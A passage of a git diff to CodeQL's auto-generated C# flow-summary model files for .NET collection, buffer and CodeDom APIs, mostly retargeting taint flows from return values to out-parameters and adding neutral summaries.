"dfc-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.ReadOnlySpan,T,T,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element", "Argument[0].Element", "value", "dfc-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadToAny", "(System.Buffers.ReadOnlySequence,System.ReadOnlySpan,System.Boolean)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadToAny", "(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "Argument[0].Element", "value", "dfc-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadToAny", "(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element", "Argument[0].Element", "value", "dfc-generated"] - ["System.Buffers", "SequenceReader", False, "get_UnreadSequence", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Buffers", "SequenceReader", False, "get_UnreadSpan", "()", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReaderExtensions", False, "TryReadBigEndian", "(System.Buffers.SequenceReader,System.Int16)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReaderExtensions", False, "TryReadBigEndian", "(System.Buffers.SequenceReader,System.Int32)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReaderExtensions", False, "TryReadBigEndian", "(System.Buffers.SequenceReader,System.Int64)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReaderExtensions", False, "TryReadLittleEndian", "(System.Buffers.SequenceReader,System.Int16)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReaderExtensions", False, "TryReadLittleEndian", "(System.Buffers.SequenceReader,System.Int32)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReaderExtensions", False, "TryReadLittleEndian", "(System.Buffers.SequenceReader,System.Int64)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - addsTo: pack: codeql/csharp-all extensible: neutralModel @@ -137,6 +130,7 @@ extensions: - ["System.Buffers", "ReadOnlySequence", "Slice", "(System.Int32,System.Int32)", "summary", "df-generated"] - ["System.Buffers", "ReadOnlySequence", "Slice", "(System.Int64,System.Int64)", "summary", "df-generated"] - ["System.Buffers", "ReadOnlySequence", "ToString", "()", "summary", "df-generated"] + - ["System.Buffers", "ReadOnlySequence", "TryGet", "(System.SequencePosition,System.ReadOnlyMemory,System.Boolean)", "summary", "df-generated"] - ["System.Buffers", "ReadOnlySequence", "get_End", "()", "summary", "df-generated"] - ["System.Buffers", "ReadOnlySequence", "get_First", "()", "summary", "df-generated"] - ["System.Buffers", "ReadOnlySequence", "get_IsEmpty", "()", "summary", "df-generated"] @@ -162,6 +156,12 @@ extensions: - ["System.Buffers", "SequenceReader", "get_Position", "()", "summary", "df-generated"] - ["System.Buffers", "SequenceReader", "get_Remaining", "()", "summary", "df-generated"] - ["System.Buffers", "SequenceReader", "get_Sequence", "()", "summary", "df-generated"] + - ["System.Buffers", "SequenceReaderExtensions", "TryReadBigEndian", "(System.Buffers.SequenceReader,System.Int16)", "summary", "df-generated"] + - ["System.Buffers", "SequenceReaderExtensions", "TryReadBigEndian", "(System.Buffers.SequenceReader,System.Int32)", "summary", "df-generated"] + - ["System.Buffers", "SequenceReaderExtensions", "TryReadBigEndian", "(System.Buffers.SequenceReader,System.Int64)", "summary", "df-generated"] + - ["System.Buffers", "SequenceReaderExtensions", "TryReadLittleEndian", "(System.Buffers.SequenceReader,System.Int16)", "summary", "df-generated"] + - ["System.Buffers", "SequenceReaderExtensions", "TryReadLittleEndian", "(System.Buffers.SequenceReader,System.Int32)", "summary", "df-generated"] + - ["System.Buffers", "SequenceReaderExtensions", "TryReadLittleEndian", "(System.Buffers.SequenceReader,System.Int64)", "summary", "df-generated"] - ["System.Buffers", "StandardFormat", "Equals", "(System.Buffers.StandardFormat)", "summary", "df-generated"] - ["System.Buffers", "StandardFormat", "Equals", "(System.Object)", "summary", "df-generated"] - ["System.Buffers", "StandardFormat", "GetHashCode", "()", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.CodeDom.Compiler.model.yml b/csharp/ql/lib/ext/generated/System.CodeDom.Compiler.model.yml index 91d655f6d3b..9a760ddfa43 100644 --- a/csharp/ql/lib/ext/generated/System.CodeDom.Compiler.model.yml +++ b/csharp/ql/lib/ext/generated/System.CodeDom.Compiler.model.yml @@ -126,14 +126,6 @@ extensions: - ["System.CodeDom.Compiler", "CompilerParameters", False, "CompilerParameters", "(System.String[],System.String,System.Boolean)", "", "Argument[0].Element", "Argument[this].Property[System.CodeDom.Compiler.CompilerParameters.ReferencedAssemblies].Element", "value", "dfc-generated"] - ["System.CodeDom.Compiler", "CompilerParameters", False, "CompilerParameters", "(System.String[],System.String,System.Boolean)", "", "Argument[1]", "Argument[this].Property[System.CodeDom.Compiler.CompilerParameters.OutputAssembly]", "value", "dfc-generated"] - ["System.CodeDom.Compiler", "CompilerResults", False, "CompilerResults", "(System.CodeDom.Compiler.TempFileCollection)", "", "Argument[0]", "Argument[this].Property[System.CodeDom.Compiler.CompilerResults.TempFiles]", "value", "dfc-generated"] - - ["System.CodeDom.Compiler", "Executor", False, "ExecWaitWithCapture", "(System.IntPtr,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] - - ["System.CodeDom.Compiler", "Executor", False, "ExecWaitWithCapture", "(System.IntPtr,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String)", "", "Argument[4]", "ReturnValue", "value", "dfc-generated"] - - ["System.CodeDom.Compiler", "Executor", False, "ExecWaitWithCapture", "(System.IntPtr,System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String)", "", "Argument[4]", "ReturnValue", "value", "dfc-generated"] - - ["System.CodeDom.Compiler", "Executor", False, "ExecWaitWithCapture", "(System.IntPtr,System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String)", "", "Argument[5]", "ReturnValue", "value", "dfc-generated"] - - ["System.CodeDom.Compiler", "Executor", False, "ExecWaitWithCapture", "(System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - - ["System.CodeDom.Compiler", "Executor", False, "ExecWaitWithCapture", "(System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] - - ["System.CodeDom.Compiler", "Executor", False, "ExecWaitWithCapture", "(System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] - - ["System.CodeDom.Compiler", "Executor", False, "ExecWaitWithCapture", "(System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String)", "", "Argument[4]", "ReturnValue", "value", "dfc-generated"] - ["System.CodeDom.Compiler", "GeneratedCodeAttribute", False, "GeneratedCodeAttribute", "(System.String,System.String)", "", "Argument[0]", "Argument[this].SyntheticField[System.CodeDom.Compiler.GeneratedCodeAttribute._tool]", "value", "dfc-generated"] - ["System.CodeDom.Compiler", "GeneratedCodeAttribute", False, "GeneratedCodeAttribute", "(System.String,System.String)", "", "Argument[1]", "Argument[this].SyntheticField[System.CodeDom.Compiler.GeneratedCodeAttribute._version]", "value", "dfc-generated"] - ["System.CodeDom.Compiler", "GeneratedCodeAttribute", False, "get_Tool", "()", "", "Argument[this].SyntheticField[System.CodeDom.Compiler.GeneratedCodeAttribute._tool]", "ReturnValue", "value", "dfc-generated"] @@ -297,6 +289,10 @@ extensions: - ["System.CodeDom.Compiler", "CompilerResults", "get_Errors", "()", "summary", "df-generated"] - ["System.CodeDom.Compiler", "CompilerResults", "get_Output", "()", "summary", "df-generated"] - ["System.CodeDom.Compiler", "Executor", "ExecWait", "(System.String,System.CodeDom.Compiler.TempFileCollection)", "summary", "df-generated"] + - ["System.CodeDom.Compiler", "Executor", "ExecWaitWithCapture", "(System.IntPtr,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String)", "summary", "df-generated"] + - ["System.CodeDom.Compiler", "Executor", "ExecWaitWithCapture", "(System.IntPtr,System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String)", "summary", "df-generated"] + - ["System.CodeDom.Compiler", "Executor", "ExecWaitWithCapture", "(System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String)", "summary", "df-generated"] + - ["System.CodeDom.Compiler", "Executor", "ExecWaitWithCapture", "(System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String)", "summary", "df-generated"] - ["System.CodeDom.Compiler", "ICodeCompiler", "CompileAssemblyFromFile", "(System.CodeDom.Compiler.CompilerParameters,System.String)", "summary", "df-generated"] - ["System.CodeDom.Compiler", "ICodeCompiler", "CompileAssemblyFromFileBatch", "(System.CodeDom.Compiler.CompilerParameters,System.String[])", "summary", "df-generated"] - ["System.CodeDom.Compiler", "ICodeCompiler", "CompileAssemblyFromSource", "(System.CodeDom.Compiler.CompilerParameters,System.String)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Collections.Concurrent.model.yml b/csharp/ql/lib/ext/generated/System.Collections.Concurrent.model.yml index 9834bace34d..13228929231 100644 --- a/csharp/ql/lib/ext/generated/System.Collections.Concurrent.model.yml +++ b/csharp/ql/lib/ext/generated/System.Collections.Concurrent.model.yml @@ -13,8 +13,8 @@ extensions: - ["System.Collections.Concurrent", "BlockingCollection", False, "TryAdd", "(T,System.TimeSpan)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Concurrent", "ConcurrentBag", False, "ToArray", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Concurrent", "ConcurrentBag", False, "TryAdd", "(T)", "", "Argument[0]", "Argument[this].Element", "value", "dfc-generated"] - - ["System.Collections.Concurrent", "ConcurrentBag", False, "TryPeek", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Concurrent", "ConcurrentBag", False, "TryTake", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Concurrent", "ConcurrentBag", False, "TryPeek", "(T)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Collections.Concurrent", "ConcurrentBag", False, "TryTake", "(T)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - ["System.Collections.Concurrent", "ConcurrentDictionary", False, "AddOrUpdate", "(TKey,System.Func,System.Func)", "", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["System.Collections.Concurrent", "ConcurrentDictionary", False, "AddOrUpdate", "(TKey,System.Func,System.Func)", "", "Argument[0]", "Argument[2].Parameter[0]", "value", "dfc-generated"] - ["System.Collections.Concurrent", "ConcurrentDictionary", False, "AddOrUpdate", "(TKey,System.Func,System.Func)", "", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -35,14 +35,14 @@ extensions: - ["System.Collections.Concurrent", "ConcurrentDictionary", False, "GetOrAdd", "(TKey,System.Func,TArg)", "", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["System.Collections.Concurrent", "ConcurrentDictionary", False, "GetOrAdd", "(TKey,System.Func,TArg)", "", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Concurrent", "ConcurrentDictionary", False, "GetOrAdd", "(TKey,System.Func,TArg)", "", "Argument[2]", "Argument[1].Parameter[1]", "value", "dfc-generated"] - - ["System.Collections.Concurrent", "ConcurrentDictionary", False, "TryGetAlternateLookup", "(System.Collections.Concurrent.ConcurrentDictionary+AlternateLookup)", "", "Argument[this]", "ReturnValue.Property[System.Collections.Concurrent.ConcurrentDictionary`2+AlternateLookup`1.Dictionary]", "value", "dfc-generated"] + - ["System.Collections.Concurrent", "ConcurrentDictionary", False, "TryGetAlternateLookup", "(System.Collections.Concurrent.ConcurrentDictionary+AlternateLookup)", "", "Argument[this]", "Argument[0].Property[System.Collections.Concurrent.ConcurrentDictionary`2+AlternateLookup`1.Dictionary]", "value", "dfc-generated"] - ["System.Collections.Concurrent", "ConcurrentDictionary", False, "get_Comparer", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Concurrent", "ConcurrentStack", False, "ConcurrentStack", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value]", "value", "dfc-generated"] - - ["System.Collections.Concurrent", "ConcurrentStack", False, "TryPeek", "(T)", "", "Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Concurrent", "ConcurrentStack", False, "TryPop", "(T)", "", "Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Concurrent", "ConcurrentStack", False, "TryPeek", "(T)", "", "Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value]", "Argument[0]", "value", "dfc-generated"] + - ["System.Collections.Concurrent", "ConcurrentStack", False, "TryPop", "(T)", "", "Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value]", "Argument[0]", "value", "dfc-generated"] - ["System.Collections.Concurrent", "ConcurrentStack", False, "TryPopRange", "(T[])", "", "Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value]", "Argument[0].Element", "value", "dfc-generated"] - ["System.Collections.Concurrent", "ConcurrentStack", False, "TryPopRange", "(T[],System.Int32,System.Int32)", "", "Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value]", "Argument[0].Element", "value", "dfc-generated"] - - ["System.Collections.Concurrent", "ConcurrentStack", False, "TryTake", "(T)", "", "Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Concurrent", "ConcurrentStack", False, "TryTake", "(T)", "", "Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value]", "Argument[0]", "value", "dfc-generated"] - ["System.Collections.Concurrent", "OrderablePartitioner", True, "GetDynamicPartitions", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Concurrent", "Partitioner", False, "Create", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Concurrent", "Partitioner", False, "Create", "(System.Collections.Generic.IEnumerable,System.Collections.Concurrent.EnumerablePartitionerOptions)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Collections.Frozen.model.yml b/csharp/ql/lib/ext/generated/System.Collections.Frozen.model.yml index daea37e28ca..ae675a172a8 100644 --- a/csharp/ql/lib/ext/generated/System.Collections.Frozen.model.yml +++ b/csharp/ql/lib/ext/generated/System.Collections.Frozen.model.yml @@ -11,7 +11,7 @@ extensions: - ["System.Collections.Frozen", "FrozenDictionary+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Frozen.FrozenDictionary`2+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Frozen", "FrozenDictionary+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenDictionary", False, "GetAlternateLookup", "()", "", "Argument[this]", "ReturnValue.Property[System.Collections.Frozen.FrozenDictionary`2+AlternateLookup`1.Dictionary]", "value", "dfc-generated"] - - ["System.Collections.Frozen", "FrozenDictionary", False, "TryGetAlternateLookup", "(System.Collections.Frozen.FrozenDictionary+AlternateLookup)", "", "Argument[this]", "ReturnValue.Property[System.Collections.Frozen.FrozenDictionary`2+AlternateLookup`1.Dictionary]", "value", "dfc-generated"] + - ["System.Collections.Frozen", "FrozenDictionary", False, "TryGetAlternateLookup", "(System.Collections.Frozen.FrozenDictionary+AlternateLookup)", "", "Argument[this]", "Argument[0].Property[System.Collections.Frozen.FrozenDictionary`2+AlternateLookup`1.Dictionary]", "value", "dfc-generated"] - ["System.Collections.Frozen", "FrozenDictionary", False, "get_Keys", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenDictionary", False, "get_Values", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet", False, "Create", "(System.Collections.Generic.IEqualityComparer,System.ReadOnlySpan)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] @@ -19,13 +19,13 @@ extensions: - ["System.Collections.Frozen", "FrozenSet", False, "ToFrozenSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet+AlternateLookup", False, "Contains", "(TAlternate)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet+AlternateLookup", False, "TryGetValue", "(TAlternate,T)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["System.Collections.Frozen", "FrozenSet+AlternateLookup", False, "TryGetValue", "(TAlternate,T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Frozen", "FrozenSet+AlternateLookup", False, "TryGetValue", "(TAlternate,T)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Frozen.FrozenSet`1+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Frozen", "FrozenSet+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet", False, "CopyTo", "(System.Span)", "", "Argument[this].Property[System.Collections.Frozen.FrozenSet`1.Items].Element", "Argument[0].Element", "value", "dfc-generated"] - ["System.Collections.Frozen", "FrozenSet", False, "GetAlternateLookup", "()", "", "Argument[this]", "ReturnValue.Property[System.Collections.Frozen.FrozenSet`1+AlternateLookup`1.Set]", "value", "dfc-generated"] - - ["System.Collections.Frozen", "FrozenSet", False, "TryGetAlternateLookup", "(System.Collections.Frozen.FrozenSet+AlternateLookup)", "", "Argument[this]", "ReturnValue.Property[System.Collections.Frozen.FrozenSet`1+AlternateLookup`1.Set]", "value", "dfc-generated"] - - ["System.Collections.Frozen", "FrozenSet", False, "TryGetValue", "(T,T)", "", "Argument[this].Property[System.Collections.Frozen.FrozenSet`1.Items].Element", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Frozen", "FrozenSet", False, "TryGetAlternateLookup", "(System.Collections.Frozen.FrozenSet+AlternateLookup)", "", "Argument[this]", "Argument[0].Property[System.Collections.Frozen.FrozenSet`1+AlternateLookup`1.Set]", "value", "dfc-generated"] + - ["System.Collections.Frozen", "FrozenSet", False, "TryGetValue", "(T,T)", "", "Argument[this].Property[System.Collections.Frozen.FrozenSet`1.Items].Element", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Frozen", "FrozenSet", False, "get_Items", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - addsTo: pack: codeql/csharp-all diff --git a/csharp/ql/lib/ext/generated/System.Collections.Generic.model.yml b/csharp/ql/lib/ext/generated/System.Collections.Generic.model.yml index ad2383f1d6b..325945f5904 100644 --- a/csharp/ql/lib/ext/generated/System.Collections.Generic.model.yml +++ b/csharp/ql/lib/ext/generated/System.Collections.Generic.model.yml @@ -16,7 +16,7 @@ extensions: - ["System.Collections.Generic", "CollectionExtensions", False, "GetRuntimeFileAssets", "(System.Collections.Generic.IEnumerable,System.String)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Generic", "CollectionExtensions", False, "GetRuntimeGroup", "(System.Collections.Generic.IEnumerable,System.String)", "", "Argument[0].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "CollectionExtensions", False, "GetValueOrDefault", "(System.Collections.Generic.IReadOnlyDictionary,TKey,TValue)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Generic", "CollectionExtensions", False, "Remove", "(System.Collections.Generic.IDictionary,TKey,TValue)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Generic", "CollectionExtensions", False, "Remove", "(System.Collections.Generic.IDictionary,TKey,TValue)", "", "Argument[0].Element", "Argument[2]", "taint", "df-generated"] - ["System.Collections.Generic", "CollectionExtensions", False, "TryAdd", "(System.Collections.Generic.IDictionary,TKey,TValue)", "", "Argument[1]", "Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key]", "value", "dfc-generated"] - ["System.Collections.Generic", "CollectionExtensions", False, "TryAdd", "(System.Collections.Generic.IDictionary,TKey,TValue)", "", "Argument[2]", "Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value]", "value", "dfc-generated"] - ["System.Collections.Generic", "Dictionary+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -35,13 +35,14 @@ extensions: - ["System.Collections.Generic", "HashSet+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Generic", "HashSet", False, "HashSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "HashSet", False, "HashSet", "(System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "Argument[this].SyntheticField[System.Collections.Generic.HashSet`1._comparer]", "value", "dfc-generated"] - - ["System.Collections.Generic", "HashSet", False, "TryGetValue", "(T,T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Generic", "HashSet", False, "TryGetValue", "(T,T)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Collections.Generic", "HashSet", False, "get_Comparer", "()", "", "Argument[this].SyntheticField[System.Collections.Generic.HashSet`1._comparer]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "HashSet", True, "GetObjectData", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[this].Property[System.Collections.Generic.HashSet`1.Comparer]", "Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element", "value", "dfc-generated"] - ["System.Collections.Generic", "HashSet", True, "GetObjectData", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[this].SyntheticField[System.Collections.Generic.HashSet`1._comparer]", "Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element", "value", "dfc-generated"] - ["System.Collections.Generic", "KeyValuePair", False, "Create", "(TKey,TValue)", "", "Argument[0]", "ReturnValue.Property[System.Collections.Generic.KeyValuePair`2.Key]", "value", "dfc-generated"] - ["System.Collections.Generic", "KeyValuePair", False, "Create", "(TKey,TValue)", "", "Argument[1]", "ReturnValue.Property[System.Collections.Generic.KeyValuePair`2.Value]", "value", "dfc-generated"] - - ["System.Collections.Generic", "KeyValuePair", False, "Deconstruct", "(TKey,TValue)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Generic", "KeyValuePair", False, "Deconstruct", "(TKey,TValue)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Collections.Generic", "KeyValuePair", False, "Deconstruct", "(TKey,TValue)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Collections.Generic", "KeyValuePair", False, "get_Key", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Generic", "KeyValuePair", False, "get_Value", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Generic.LinkedList`1+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] @@ -91,9 +92,9 @@ extensions: - ["System.Collections.Generic", "OrderedDictionary", False, "OrderedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Key]", "Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key]", "value", "dfc-generated"] - ["System.Collections.Generic", "OrderedDictionary", False, "OrderedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element.Property[System.Collections.Generic.KeyValuePair`2.Value]", "Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value]", "value", "dfc-generated"] - ["System.Collections.Generic", "OrderedDictionary", False, "OrderedDictionary", "(System.Int32,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "Argument[this].SyntheticField[System.Collections.Generic.OrderedDictionary`2._comparer]", "value", "dfc-generated"] - - ["System.Collections.Generic", "OrderedDictionary", False, "Remove", "(TKey,TValue)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Generic", "OrderedDictionary", False, "TryGetValue", "(TKey,TValue)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Generic", "OrderedDictionary", False, "TryGetValue", "(TKey,TValue,System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Generic", "OrderedDictionary", False, "Remove", "(TKey,TValue)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Collections.Generic", "OrderedDictionary", False, "TryGetValue", "(TKey,TValue)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Collections.Generic", "OrderedDictionary", False, "TryGetValue", "(TKey,TValue,System.Int32)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Collections.Generic", "OrderedDictionary", False, "get_Comparer", "()", "", "Argument[this].SyntheticField[System.Collections.Generic.OrderedDictionary`2._comparer]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "OrderedDictionary", False, "get_Keys", "()", "", "Argument[this].Property[System.Collections.Generic.OrderedDictionary`2.Keys]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "OrderedDictionary", False, "get_Values", "()", "", "Argument[this].Property[System.Collections.Generic.OrderedDictionary`2.Values]", "ReturnValue", "value", "dfc-generated"] @@ -108,17 +109,20 @@ extensions: - ["System.Collections.Generic", "PriorityQueue", False, "PriorityQueue", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer)", "", "Argument[1]", "Argument[this].SyntheticField[System.Collections.Generic.PriorityQueue`2._comparer]", "value", "dfc-generated"] - ["System.Collections.Generic", "PriorityQueue", False, "PriorityQueue", "(System.Int32,System.Collections.Generic.IComparer)", "", "Argument[1]", "Argument[this].SyntheticField[System.Collections.Generic.PriorityQueue`2._comparer]", "value", "dfc-generated"] - ["System.Collections.Generic", "PriorityQueue", False, "Remove", "(TElement,TElement,TPriority,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "Argument[3]", "taint", "df-generated"] - - ["System.Collections.Generic", "PriorityQueue", False, "Remove", "(TElement,TElement,TPriority,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Generic", "PriorityQueue", False, "TryDequeue", "(TElement,TPriority)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Generic", "PriorityQueue", False, "TryPeek", "(TElement,TPriority)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Generic", "PriorityQueue", False, "Remove", "(TElement,TElement,TPriority,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Collections.Generic", "PriorityQueue", False, "Remove", "(TElement,TElement,TPriority,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] + - ["System.Collections.Generic", "PriorityQueue", False, "TryDequeue", "(TElement,TPriority)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Collections.Generic", "PriorityQueue", False, "TryDequeue", "(TElement,TPriority)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Collections.Generic", "PriorityQueue", False, "TryPeek", "(TElement,TPriority)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Collections.Generic", "PriorityQueue", False, "TryPeek", "(TElement,TPriority)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] - ["System.Collections.Generic", "PriorityQueue", False, "get_Comparer", "()", "", 